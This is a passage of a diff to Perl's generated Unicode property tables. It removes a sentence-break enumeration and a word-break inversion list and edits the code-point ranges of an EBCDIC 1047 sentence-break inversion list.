-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Extend,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Sp,
-	SB_SContinue,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_OLetter,
-	SB_Lower,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Close,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_SContinue,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_SContinue,
-	SB_ATerm,
-	SB_Other,
-	SB_SContinue,
-	SB_STerm,
-	SB_SContinue,
-	SB_Close,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Format,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_SContinue,
-	SB_ATerm,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Upper,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Lower,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_STerm,
-	SB_Close,
-	SB_SContinue,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Format,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Format,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_STerm,
-	SB_Other,
-	SB_Numeric,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_STerm,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_STerm,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_STerm,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_STerm,
-	SB_Other,
-	SB_OLetter,
-	SB_STerm,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_STerm,
-	SB_Format,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Format,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_STerm,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Extend,
-	SB_Other,
-	SB_Numeric,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_OLetter,
-	SB_Other,
-	SB_Format,
-	SB_Other,
-	SB_Extend,
-	SB_Other,
-	SB_Extend,
-	SB_Other
-};
-
-#endif	/* defined(PERL_IN_REGEXEC_C) */
-
-#if defined(PERL_IN_PERL_C)
-
-static const UV _Perl_WB_invlist[] = { /* for EBCDIC 037 */
-	1676,	/* Number of elements */
+static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */
+	1543,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
@@ -81927,7 +341134,6 @@
 	0x5,
 	0x6,
 	0xB,
-	0xD,
 	0xE,
 	0x15,
 	0x16,
@@ -81934,21 +341140,22 @@
 	0x25,
 	0x26,
 	0x40,
-	0x42,
 	0x4A,
 	0x4B,
 	0x4C,
+	0x4D,
+	0x4E,
 	0x51,
-	0x5A,
+	0x5B,
+	0x5D,
 	0x5E,
-	0x5F,
+	0x60,
+	0x61,
 	0x62,
 	0x6A,
 	0x6B,
 	0x6C,
-	0x6D,
-	0x6E,
-	0x70,
+	0x6F,
 	0x79,
 	0x7A,
 	0x7B,
@@ -81955,9 +341162,6 @@
 	0x7D,
 	0x7E,
 	0x7F,
-	0x80,
-	0x8A,
-	0x8C,
 	0x8F,
 	0x91,
 	0x9D,
@@ -81969,13 +341173,11 @@
 	0xAA,
 	0xAC,
 	0xAF,
-	0xB3,
-	0xB4,
-	0xC1,
-	0xCA,
-	0xCB,
-	0xD0,
-	0xD1,
+	0xBA,
+	0xBB,
+	0xBD,
+	0xBE,
+	0xC0,
 	0xDA,
 	0xDB,
 	0xE0,
@@ -81982,7 +341184,6 @@
 	0xE2,
 	0xEA,
 	0xEB,
-	0xF0,
 	0xFA,
 	0xFB,
 	0xFF,
@@ -81990,8 +341191,6 @@
 	0x2C2,
 	0x2C6,
 	0x2D2,
-	0x2D7,
-	0x2D8,
 	0x2E0,
 	0x2E5,
 	0x2EC,
@@ -81999,7 +341198,6 @@
 	0x2EE,
 	0x2EF,
 	0x300,
-	0x370,
 	0x375,
 	0x376,
 	0x378,
@@ -82020,12 +341218,13 @@
 	0x3F7,
 	0x482,
 	0x483,
-	0x48A,
 	0x530,
 	0x531,
 	0x557,
 	0x559,
 	0x55A,
+	0x55D,
+	0x55E,
 	0x561,
 	0x588,
 	0x589,
@@ -82043,9 +341242,7 @@
 	0x5D0,
 	0x5EB,
 	0x5F0,
-	0x5F3,
 	0x5F4,
-	0x5F5,
 	0x600,
 	0x606,
 	0x60C,
@@ -82054,83 +341251,39 @@
 	0x61B,
 	0x61C,
 	0x61D,
-	0x620,
-	0x64B,
-	0x660,
+	0x61F,
 	0x66A,
 	0x66B,
-	0x66C,
 	0x66D,
 	0x66E,
-	0x670,
-	0x671,
-	0x6D4,
-	0x6D5,
-	0x6D6,
-	0x6DD,
 	0x6DE,
 	0x6DF,
-	0x6E5,
-	0x6E7,
 	0x6E9,
 	0x6EA,
-	0x6EE,
-	0x6F0,
-	0x6FA,
 	0x6FD,
 	0x6FF,
-	0x700,
+	0x703,
 	0x70F,
-	0x710,
-	0x711,
-	0x712,
-	0x730,
 	0x74B,
 	0x74D,
-	0x7A6,
-	0x7B1,
 	0x7B2,
 	0x7C0,
-	0x7CA,
-	0x7EB,
-	0x7F4,
 	0x7F6,
 	0x7F8,
-	0x7F9,
-	0x7FA,
 	0x7FB,
 	0x800,
-	0x816,
-	0x81A,
-	0x81B,
-	0x824,
-	0x825,
-	0x828,
-	0x829,
 	0x82E,
 	0x840,
-	0x859,
 	0x85C,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
 	0x8BE,
 	0x8D4,
-	0x8E2,
-	0x8E3,
-	0x904,
-	0x93A,
-	0x93D,
-	0x93E,
-	0x950,
-	0x951,
-	0x958,
-	0x962,
-	0x964,
-	0x966,
 	0x970,
 	0x971,
-	0x981,
 	0x984,
 	0x985,
 	0x98D,
@@ -82145,13 +341298,10 @@
 	0x9B6,
 	0x9BA,
 	0x9BC,
-	0x9BD,
-	0x9BE,
 	0x9C5,
 	0x9C7,
 	0x9C9,
 	0x9CB,
-	0x9CE,
 	0x9CF,
 	0x9D7,
 	0x9D8,
@@ -82158,11 +341308,11 @@
 	0x9DC,
 	0x9DE,
 	0x9DF,
-	0x9E2,
 	0x9E4,
 	0x9E6,
-	0x9F0,
 	0x9F2,
+	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -82194,9 +341344,6 @@
 	0xA5E,
 	0xA5F,
 	0xA66,
-	0xA70,
-	0xA72,
-	0xA75,
 	0xA76,
 	0xA81,
 	0xA84,
@@ -82213,8 +341360,6 @@
 	0xAB5,
 	0xABA,
 	0xABC,
-	0xABD,
-	0xABE,
 	0xAC6,
 	0xAC7,
 	0xACA,
@@ -82223,12 +341368,11 @@
 	0xAD0,
 	0xAD1,
 	0xAE0,
-	0xAE2,
 	0xAE4,
 	0xAE6,
 	0xAF0,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -82244,8 +341388,6 @@
 	0xB35,
 	0xB3A,
 	0xB3C,
-	0xB3D,
-	0xB3E,
 	0xB45,
 	0xB47,
 	0xB49,
@@ -82256,7 +341398,6 @@
 	0xB5C,
 	0xB5E,
 	0xB5F,
-	0xB62,
 	0xB64,
 	0xB66,
 	0xB70,
@@ -82263,7 +341404,6 @@
 	0xB71,
 	0xB72,
 	0xB82,
-	0xB83,
 	0xB84,
 	0xB85,
 	0xB8B,
@@ -82306,7 +341446,6 @@
 	0xC2A,
 	0xC3A,
